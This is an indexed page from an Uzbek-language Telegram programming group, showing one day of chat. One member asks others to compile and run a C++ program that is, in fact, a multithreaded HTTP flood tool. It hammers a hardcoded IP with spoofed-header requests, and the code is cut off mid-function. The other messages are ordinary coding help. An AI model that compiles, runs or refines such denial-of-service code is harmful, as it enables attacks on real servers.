English
Open in Telegram
CC++ vs Python
C++ vs Python
@cpp_vs_python · group · Tech · indexed since 2026-08-18 15 July 2024
114members
39 409messages in the index

Messages on 15 July 2024

2024-07-15×
15 July 2024
#
kimdadir C++ compiler bomi bosa mashi kodni run qib berila , ozimda C++ ide yogidi #include <iostream> #include <thread> #include <vector> #include <atomic> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #include <chrono> #include <random> #include <cstring> std::atomic<int> trys(0); std::string target = "31.184.242.14"; int port = 80; std::string generate_fake_ip() { std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution<> dis(1, 254); return std::to_string(dis(gen)) + "." + std::to_string(dis(gen)) + "." + std::to_string(dis(gen)) + "." + std::to_string(dis(gen)); } void attack() { while (true) { try { int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock == -1) { throw std::runtime_error("Failed to create socket"); } sockaddr_in server_addr; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port); inet_pton(AF_INET, target.c_str(), &server_addr.sin_addr); if (connect(sock, (sockaddr*)&server_addr, sizeof(server_addr)) == -1) { close(sock); throw std::runtime_error("Connection failed: " + std::string(strerror(errno))); } std::string request = "GET / HTTP/1.1\r\nHost: " + target + "\r\nX-Forwarded-For: " + generate_fake_ip() + "\r\n\r\n"; send(sock, request.c_str(), request.length(), 0); close(sock); ++trys; if (trys % 100 == 0) { std::cout << "Attempts: " << trys << std::endl; } } catch (const std::exception &e) { std::cerr << "Error: " << e.what() << std::endl; } } } int main(int argc, char *argv[]) { if (argc != 4) { std::cerr << "Usage: " << argv[0] << " <target_ip> <port> <number_of_threads>" << std::endl; return 1; } target = argv[1]; port = std::stoi(argv[2]); in
    1. #
      yo, buni bilaman. unga qoshimcha kutubxonani yuklab bomaydiku
                1. #
                  C++ ni yaxshi tushunmyaman. lekin py da yaratib bera olama
                2. #
                  maslahatim Visual studio yoki clion torting
Whole thread · 16 replies →
#
postgre SQL ni organgani qaysi youtube vid yaxshi
  1. Z
    sizga qaysi qismi kerak left join rigth joinlarda qiynalyapsizmi yo noldanmi
Whole thread · 3 replies →
    1. #
      telegram bot yatatgani shu yaxshimi? manimcha bu app yaratgani shekilli.
Whole thread · 3 replies →
4
Nima qilishni farqi yoʻq
#
File
image_2024-07-15_22-59-00.png · 8 KB · click to show
nimaga bu memory limit olyapti? #include <iostream> #include <vector> #include <string> #include <bitset> #include <algorithm> std::string binstr(int num) { std::string bin = std::bitset<32>(num).to_string(); const auto pos = bin.find_first_not_of('0'); if (pos != std::string::npos) { return bin.substr(pos); } return "0"; } int foo(int a, int b) { std::vector<std::string> x; std::string y = ""; int d = 0; for (int i = a; i <= b; ++i) { std::string s = binstr(i); x.push_back(s); y += s; int ones = std::count(y.begin(), y.end(), '1'); int zeros = y.size() - ones; if (y.size() % 2 == 0 && ones == zeros) { d += 1; } else { y = ""; } } return d; } int main() { int a, b; std::cin >> a >> b; std::cout << foo(a, b) << std::endl; return 0; } https://robocontest.uz/tasks/1211
#
py da tl olyapti: def foo(a: int, b: int) -> int: x: list = [] y: str = "" d: int = 0 for i in range(a, b + 1): s = bin(i)[2:] x.append(s) y += s if len(y) % 2 == 0 and y.count('1') == y.count('0'): d += 1 else: y = "" return d a,b = map(int,input().split()) print(foo(a,b))
  1. #
    buni ozim yozdim time limit oganiga cpp ga ogirdim
    1. J
      Ha bunaqa standartda yozishni qayerdan oʻrgangansiz?
      1. #
        yani nima s: int = 0 shunga oxshashmi
Whole thread · 6 replies →
      1. #
        funksiyani ishlatganingizda masalan undan oladigan javobingiz matnli korinishda , raqam, list, yoki None boladi shuni ifodalagani shunda code chiroyli va compilatsiya jarayonida compiler osonroq oqiydi kodni
    1. J
      Javobni bilaman. Faqat sizni copy paste qilganmi yoki oʻzi biʻlarmikan deb soʻradim
Whole thread · 14 replies →
J
Kodni qatorlarini va oʻzgaruvchilarni maksimum kamaytirib koʻrish kerak
J
2. Variant boshqa kuchliroq miyyadan yoki ai dan boshqa usulini soʻrash 😂
  1. #
    gptdan soradim kopro bug yaratib berdi😅
Whole thread · 2 replies →
Calendar: July 2024
MoTuWeThFrSaSu1425341582678910111191213121481565167717918519202122223246825626142728293031

An open public feed from the search index ChatCrawler — “Google for public Telegram”; refreshed as the venue is crawled. Times are UTC.

Public content only, official Telegram API. About · FAQ · Index limits · Remove a page · Catalog · Search · How we count